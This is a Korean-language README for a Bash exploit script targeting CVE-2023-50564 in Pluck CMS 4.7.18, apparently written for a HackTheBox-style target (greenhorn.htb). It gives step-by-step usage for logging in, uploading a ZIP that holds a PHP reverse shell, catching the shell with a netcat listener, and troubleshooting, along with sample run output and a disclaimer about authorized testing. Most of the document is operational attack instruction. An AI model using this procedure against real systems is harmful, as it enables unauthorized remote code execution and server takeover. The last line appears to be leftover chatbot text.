
Bash 익스플로잇으로, 악성 ZIP 업로드를 통해 Pluck CMS 4.7.18에서 인증된 원격 코드 실행을 자동화하고, CVE-2023-50564에 대한 PHP 리버스 셸을 트리거합니다.
이 스크립트는 Pluck CMS v4.7.18의 원격 코드 실행 (RCE) 취약점을 악용합니다. 이 취약점을 통해 악의적인 사용자가 악성 PHP 파일을 서버에 업로드하고 실행하여 대상 머신에서 원격 명령을 실행할 수 있습니다.
스크립트는 다음 과정을 자동화합니다:
참고: 리버스 셸을 수신하려면 공격자 머신에서 Netcat 리스너가 필요합니다.
스크립트를 실행하기 전에 다음을 확인하세요:
./CVE-2023-50564 -h <호스트> -P <비밀번호> -i <IP> -p <포트>
-h <호스트>: 대상 호스트 (예: greenhorn.htb).-P <비밀번호>: Pluck CMS 관리자 패널의 비밀번호 (예: abcd123).-i <IP>: 리버스 셸을 수신할 공격자의 IP 주소.-p <포트>: Netcat 리스너가 리버스 셸을 캡처하기 위해 사용 중인 포트../CVE-2023-50564 -h greenhorn.htb -P ********* -i 10.10.16.7 -p 9001
Netcat 리스너 설정: 공격자 머신에서 지정된 포트로 Netcat 리스너를 시작합니다:
nc -nvlp <포트>
예:
nc -nvlp 9001
스크립트 실행: 호스트, 비밀번호, IP 주소 및 포트 등 필요한 매개변수를 스크립트에 제공합니다.
./CVE-2023-50564 -h greenhorn.htb -P ********* -i 10.10.16.7 -p 9001
스크립트 실행 과정:
love.php)가 포함된 ZIP 파일을 업로드합니다."RCE is waiting for you, please go take a look."라는 메시지가 표시되고, 스크립트는 소요된 시간을 기록한 후 종료됩니다.대상 접근: 리버스 셸이 트리거되면 Netcat 리스너에 연결이 나타나며, 대상 머신에 원격으로 접근할 수 있습니다.
image
./CVE-2023-50564 -h greenhorn.htb -P ********* -i 10.10.16.7 -p 9001
Netcat listener detected on port 9001.
Downloading reverse shell PHP exploit...
updating: love.php (deflated 60%)
Exploit zipped as loverce.zip and original PHP file removed.
Extracted Cookie: PHPSESSID=somecookievalue
Login successful!
ZIP file uploaded successfully.
RCE is waiting for you, please go take a look.
Script terminated. Total time taken: 70 seconds.
curl과 netcat이 설치되어 있지 않은 경우 다음 명령어로 설치할 수 있습니다:
sudo apt update
sudo apt install curl netcat
sudo yum install curl nc
이 스크립트는 교육 목적 및 승인된 침투 테스트 용도로만 사용해야 합니다. 허가 없이 이 스크립트를 사용하는 것은 불법이며 비윤리적입니다. 시스템의 취약점을 악용하기 전에 항상 적절한 승인을 받으십시오.
504 Gateway Time-out: 리버스 셸을 실행할 때 이 오류가 발생할 수 있지만, 셸 실행 성공에는 영향을 주지 않습니다. 이 오류는 일반적으로 대상 서버가 HTTP 요청에 응답하는 데 너무 오래 걸리기 때문에 발생하지만, 셸은 여전히 작동합니다.
Netcat 리스너 문제: 리버스 셸을 수신하지 못하는 경우 IP 주소와 포트가 올바르게 설정되었는지, 대상이 연결을 다시 보내지 못하도록 방화벽 제한이 없는지 확인하십시오.
스크립트 로그인 실패: CMS 관리자 패널 로그인이 실패하면 제공된 비밀번호를 확인하고 대상 머신에서 CMS에 접근 가능한지 확인하십시오.
README에 대한 추가 사용자 지정이나 설명이 필요하시면 알려주세요!